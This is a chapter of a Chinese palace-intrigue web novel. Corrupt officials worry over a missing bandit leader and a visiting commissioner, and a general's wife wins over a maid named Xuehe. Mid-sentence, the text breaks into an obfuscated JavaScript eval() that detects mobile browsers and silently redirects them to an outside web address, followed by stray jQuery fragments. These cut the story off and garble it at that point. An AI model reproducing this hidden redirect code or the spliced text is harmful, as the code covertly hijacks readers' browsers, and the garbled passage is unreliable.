44. 雪禾

作品:《将军他娶了反贼娘子

    云岈知县府,密室。


    “少主已经失踪三日,眼下生死未卜,两位大人还是快些拿个主意吧。”一男子急得满头是汗,对着上位坐着的两个中年男子道。


    许参良不急不徐,端起茶盏抿了一口,一双狐狸似的眼睛暗藏几分杀意。


    “王猛,你那好儿子怕是又惹出什么祸事了,此事你觉得该怎么办?”


    边上的王猛后背忽地蹿出一股凉意,他抹了把额头的冷汗,唯唯诺诺地回:“大人息怒,再多宽限我些时日,我定能找着那小兔崽子!到时候要打要骂任由您处置!”


    许参良冷笑一声:“当年我留下他,全是看在你的面子上,如今他三番五次坏事,就算我想留他,你觉得主人能同意吗?”


    王猛腿肚子直转筋,“扑通”一声跪了下来,哭求道:“求大人在主人面前替我们父子多多美言几句,待我找到那小混蛋,就把他关起来,再也不叫他出去坏事了!”


    许参良听罢斜眯他一眼:“呦,你这是在威胁我?谁不知道连山寨全听连若陵一个人的,把他关起来,是想叫连山寨那帮人活吞了我?”


    王猛一骇,连连摇头:“小的岂敢,岂敢......属下和若陵全以大人马首是瞻,怎敢做出这等以下犯上的事来?”


    “你最好是不敢。”许参良瞪了他一眼,又道:“罢了,最多再给你三日,若是找不到他人,就别怪我心狠。”


    “是是,多谢大人。”王猛这才松了口气,顿了片刻才又显出为难之意,道:“可是......以若陵这性子,就算是不告诉我他的行踪,起码也会知会连山寨,怎么这回连他们也不知晓他去了哪儿?”


    刚才那个前来通禀的男子也随即附和道:“是啊,少主往常出门,身边都会带一两个弟兄,可这次非但没有带人,连句话都没留下过,会不会是出了什么意外?”


    意外?许参良听过,忽地想起了近日云州发生的一桩大事,京城来的宣抚使对自己避而不见,也未到官府去视察,不知在做些什么,他本想派些人去盯着点,结果没几日就将人跟丢了。难不成,连若陵的忽然失踪,会和这位宣抚使有关系?


    想到这里,他不禁心底一凛,若是真叫他发现连山寨做的事,恐怕对大事不利。他阴着一张脸,正想着对策,手下却忽然来报,说是那位宣抚使大人已经到了云州府,要见知州大人。


    许参良心中咯噔一下,脸色霎时间变得十分难看。他朝自己一个心腹使了个眼色,随后又故作无谓地掸了掸衣袖的灰,一声不吭地离开了这里。


    等他回了府衙,只见公堂内已然坐了一个白面小生,崭新的官服罩在身上,倒显得气度不凡。


    他连连迎上去,挂起一副灿烂的笑脸:“下官不知宣抚使大人来访,有失远迎,实在冒犯,还望大人恕罪。”


    李谦仍端坐着,虽带着和善的笑,却丝毫没有要与他寒暄的意思。他点点头,笑道:“无妨,听闻许知州勤政爱民,常常到坊间替百姓解难,想必这趟也是去为百姓做实事了吧?”


    许参良被他这么一损,面子多少有些挂不住,尴尬地笑了几声,才道:“大人说笑了。”


    李谦道:“也罢,既然许知州公务繁忙,那我就先说正事吧。本官受圣上之命,到云州执行公务,还请大人吩咐下去,将十年间云州所有地籍册簿、卷宗文书、账目簿通通调来,本官要亲自查看。”


    许知州双眉一耸:“十年的?全都要?”


    “怎么?知州大人不会是想说,这些文书都被一把火烧了吧?”李谦故作惊奇地道。


    许参良本想找些借口推脱,却被他这么一句堵上了嘴,只好道:“哪里哪里,下官这就命人去整理,只是十年的卷宗太多,恐怕大人要多等些时日了。”


    “一日。”


    “这......”


    李谦直直盯着他,语气生硬地半点不给他耍滑的机会。也不知是不是幻觉,许参良总觉得他这眼神瘆得慌,让人不禁浑身发毛。他不禁心道,这么个看起来乳臭未干的小后生,哪来的这些个迫人的气场,看来是自己小瞧了他,也难怪能成萧相的学生。


    无奈,左右都是推脱不过,他也只得按他的令,遣人去整理卷宗,幸好他早做过准备,也不怕他查。


    --


    天气愈发炎热,赵宸玉院中的一株梧桐树上早早住满了知了,整日整日地吟诵蝉鸣。等栖风阁消息的这几日,她闲着无事,便要了几支笔几方墨,在屋子里练字打发时间。


    苓儿自是在一旁帮她研墨,可这姑娘没什么耐性,又实在热得慌,没多久便打起了呵欠。


    赵宸玉无奈地笑笑:“大白日的就困了?”


    苓儿撒娇似的点点头:“夫人,京城的天气也太反复无常了,春日冷得跟寒冬腊月似的,夏日又热得连人都能烤化了,一整天都没什么精神。”


    “你自小没来过这么远的地方,一时适应不了也是应该的。”赵宸玉依旧埋头写着字,忽然灵光一闪,冲着苓儿眨了眨眼睛,道:“不如,我带你去吃冰饮子?”


    “真的!太好了!”


    宁淮川白日通常都是不在府里的,赵宸玉也懂事,平日在府里除了陪婆母和祖母说话散心,便是将自己关在这个小院子里,规规矩矩做她的将军夫人,还从未自己出过门。一听她要带自己出府,苓儿开心地像个给块糖就能开心一整天的小孩子似的,蹦跳着拉着她往院外跑。


    刚出小院的门,还未来得及往游廊里去,便听见不远处的假山石下传来一阵叽叽喳喳的说笑声。


    一个女使丫鬟道:“哎呀你们这院子倒真是清闲,怎么一个个都在外面躲闲,新夫人不会都指不动你们吧?”


    随后,便是一阵讥笑,紧接着另一个女子道:“人家有一个贴身丫鬟就够了,哪里看得上我们,正好,我们还懒得管她呢。”


    “你可仔细些说话,你忘了前些日子阿兰她们背后说她坏话,被谢大人罚了三十板子?听说人都残废了。如今野丫头飞上枝头当凤凰了,你们还敢嚼她舌根?”


    “怕什么,她都来这么久了,我算看出来了,那就是个谁都能捏一把的软柿子,前些日子我们故意不给她拾掇屋子,她连个屁都不敢放,将军不在的时候,我们连伙食都给她省了一半呢,她还跟个傻子似的,直说好呢,到底是乡下来的,没见过什么世面。”


    “就是就是,也就是将军拿她当个宝,反正她没脾气,将军不在,姐几个才是这院子里的主子,那个怂包,一个字都不敢跟将军说的。”


    “哎呦呦,真是羡慕你们,不像我们院子,老太太就见不得我们闲着。”


    “......”


    一群人躲在阴凉处偷懒,说了好久都没发现赵宸玉已经领着苓儿,往


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515192|166512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她们这边来了。赵宸玉仿若听不到似的,轻轻拍了拍气鼓鼓的苓儿,继续若无其事地往前走。


    “呦,今儿还真是见鬼了,平日里大门不出二门不迈的,怎么还出来了呢。”一个眼见的小丫鬟忽地看见了她们,顿时露了个遇到丧门星一般的表情,远远瞅了她们一眼。


    “得,主子都来了,都别聚着了,散了吧。”另一人也阴阳怪气道。


    七八个女使全都散开,各自往不同方向去,仿佛全然没看见她们似的,只有一个看起来文文静静的小姑娘半晌都没挪地方。


    赵宸玉也没理她,只是自顾自地走在林间小道上。不多时,方才那个小姑娘忽然朝她们加快脚步赶了过来,在她面前欠身行了个礼。


    “夫人,姐姐们说话不好听,我代她们跟夫人赔不是,夫人可千万别生她们的气。”那姑娘苦着一张脸,上面写满了忐忑与委屈。


    苓儿气不打一处来,当即便道:“你们连主子也敢议论,怎么还有脸叫夫人别生气?”


    那姑娘面色煞白,听到这话连仅有的一点血色也顿时消散了,她连连摇头:“我......我从来没说过夫人的坏话,只是,我也不敢不跟着她们......”


    苓儿刚要继续怼她,赵宸玉却忽然笑了笑,问道:“你叫什么名字?”


    “奴婢名叫雪禾。”


    “雪禾,真好听的名字。”


    “多谢夫人夸赞,夫人......不生我的气?”她消息翼翼地微微抬起眼,看了看面前的人。


    赵宸玉忽然被她逗笑,道:“你不是说从来没说过我的坏话吗?那我为何要生气?”


    “可我,成天跟她们在一起,没有服侍好夫人。”


    赵宸玉道:“其实她们说得也没错,我就是个乡下来的,没那么多讲究。”说罢,她又往自己发髻摸了摸,随手取下一支缀着红珊瑚的金钗,递到她手里,“你们都是府里的老人,说起来,是我这个当夫人的不懂情理了,这簪子你拿着,就当我给你的见面礼。”


    “不行不行,夫人这太贵重了,奴婢不能收。”雪禾慌了神,忙将手里的东西往回推。


    赵宸玉不容她推脱,硬是将东西塞给她,又叹口气道:“既然送你你就收着,哎,其实我又何尝不想与你们姐妹处好关系呢?都是一个院子住着的,虽有主仆之别,可我生来就这样,不愿与人过不去。要不这样,日后你和其他姑娘觉得府里有什么不好的,你就来告诉我,我虽不管家,多少也能说得上几句话的。”


    雪禾愣了愣神,似懂非懂地点点头,随后又像个小孩子似的冲她笑了笑。


    “好了,你就先去忙吧,若是有事,记得来找我。”


    “是,夫人。”雪禾舒了口气,才轻快地离开。


    苓儿嘴巴早就撅得老高,道:“夫人对她那么好做什么?”


    赵宸玉拉过她的手,继续往府门口走:“我们总不能真的要独来独往,连府里下人都使唤不动吧?”


    “送她东西就能使唤动了?”


    “她刚才奔向我们,就是想站队嘛,我又何必不成全她呢?只是不知道她听没听懂我的意思,若是运气好,说不定能得个帮手呢。”


    苓儿这才有些回过味来,道:“那夫人待她是真心的吗?”


    赵宸玉面上覆上一层难以琢磨的冷峻:“她待我真心,我便待她真心。”